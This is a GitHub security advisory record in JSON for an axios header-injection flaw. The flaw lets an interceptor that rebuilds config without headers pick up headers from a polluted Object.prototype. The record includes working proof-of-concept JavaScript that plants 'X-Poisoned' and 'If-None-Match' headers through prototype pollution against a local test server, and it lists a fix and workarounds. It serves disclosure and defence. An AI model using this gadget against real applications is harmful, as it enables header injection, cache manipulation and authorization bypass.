{"id":"GHSA-j8rh-479h-cp32","summary":"Axios: Header Injection via Inherited headers After Minimal Interceptor","details":"## Summary\n\nAxios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own `headers` property, `dispatchRequest()` later evaluates `config.headers` and can resolve an inherited `Object.prototype.headers` value. In a process where another vulnerability has polluted `Object.prototype.headers`, axios can send attacker-controlled headers.\n\nAxios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.\n\n## Impact\n\nAn attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.\n\nThe issue is conditional and should not be described as affecting every interceptor or every request.\n\n## Affected Functionality\n\nAffected:\n\n- Request interceptor chains where an interceptor returns a new ordinary object.\n- Replacement config objects that omit an own `headers` property.\n- `dispatchRequest()` header normalization through `AxiosHeaders.from(config.headers)`.\n\nNot affected:\n\n- Requests whose interceptor preserves an own `headers` property.\n- Interceptors that mutate and return the existing null-prototype config.\n- Processes without prototype pollution.\n\n## Technical Details\n\n`lib/core/dispatchRequest.js` contains:\n\n```js\nconfig.headers = AxiosHeaders.from(config.headers);\n```\n\nThe initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own `headers`, the read can resolve `Object.prototype.headers`.\n\nLocal verification on axios `1.18.1` polluted `Object.prototype.headers = { 'X-Poisoned': 'yes' }`, installed an interceptor that returned `{ url, method, timeout, proxy: false }`, and sent a request. The loopback server received `X-Poisoned: yes`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.headers = { 'X-Poisoned': 'yes' };\n\nconst client = axios.create();\nclient.interceptors.request.use((config) =\u003e ({\n  url: config.url,\n  method: config.method,\n  timeout: config.timeout\n}));\n\nawait client.get(url);\n```\n\nExpected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited `Object.prototype.headers`.\n\n## Workarounds\n\nInterceptors that rebuild config should always set an own `headers` property, for example by preserving `config.headers` or setting `headers: {}`. Mutating and returning the existing merged config also avoids replacing the null-prototype object.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n\n## Summary\n\nAxios 1.17.0 blocks the old `Object.prototype.common` header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits `headers`, `dispatchRequest()` reads inherited `Object.prototype.headers`.\n\nThis allows attacker-controlled headers to be placed on the wire.\n\n## Affected Version\n\nValidated on:\n\n- axios: `1.17.0`\n- commit: `4306df2`\n- runtime: Node.js `v24.15.0`\n\n## Preconditions\n\n- A separate prototype-pollution primitive can write an object to `Object.prototype.headers`.\n- A request interceptor rebuilds config and omits own `headers`.\n\n## Root Cause\n\n`dispatchRequest()` uses:\n\n```js\nconfig.headers = AxiosHeaders.from(config.headers);\n```\n\nIf `config` is a normal object returned by an interceptor and lacks own `headers`, this reads `Object.prototype.headers`.\n\n## Impact\n\nAn attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.\n\n## Proof of Concept\n\n```js\nimport axios from './index.js';\nimport http from 'http';\n\nconst start = (handler) =\u003e new Promise((resolve) =\u003e {\n  const server = http.createServer(handler);\n  server.listen(0, '127.0.0.1', () =\u003e resolve(server));\n});\n\nconst stop = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst hits = [];\n\nconst server = await start((req, res) =\u003e {\n  hits.push(req.headers);\n  res.setHeader('Content-Type', 'application/json');\n  res.end('{\"ok\":true}');\n});\n\ntry {\n  Object.prototype.headers = {\n    'X-Poisoned': 'yes',\n    'If-None-Match': '*'\n  };\n\n  const client = axios.create();\n  client.interceptors.request.use((config) =\u003e ({\n    url: config.url,\n    method: config.method,\n    timeout: config.timeout\n  }));\n\n  await client.get(`http://127.0.0.1:${server.address().port}/headers`, {\n    timeout: 3000\n  });\n\n  console.log(hits[0]);\n} finally {\n  delete Object.prototype.headers;\n  await stop(server);\n}\n```\n\nObserved wire headers:\n\n```json\n{\n  \"x-poisoned\": \"yes\",\n  \"if-none-match\": \"*\",\n  \"user-agent\": \"axios/1.17.0\"\n}\n```\n\n## References\n\n- https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg\n- https://osv.dev/vulnerability/GHSA-898c-q2cr-xwhg\n\u003c/details\u003e\n---","aliases":["CVE-2026-101904"],"modified":"2026-09-30T15:46:18.108444439Z","published":"2026-09-30T15:35:14Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-09-30T15:35:14Z","nvd_published_at":"2026-09-28T18:17:18Z","cwe_ids":["CWE-1321","CWE-74"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/axios/axios/security/advisories/GHSA-j8rh-479h-cp32"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101904"},{"type":"WEB","url":"https://github.com/axios/axios/pull/11141"},{"type":"WEB","url":"https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"},{"type":"PACKAGE","url":"https://github.com/axios/axios"},{"type":"WEB","url":"https://github.com/axios/axios/releases/tag/v1.20.0"}],"affected":[{"package":{"name":"axios","ecosystem":"npm","purl":"pkg:npm/axios"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.20.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-j8rh-479h-cp32/GHSA-j8rh-479h-cp32.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N"}]}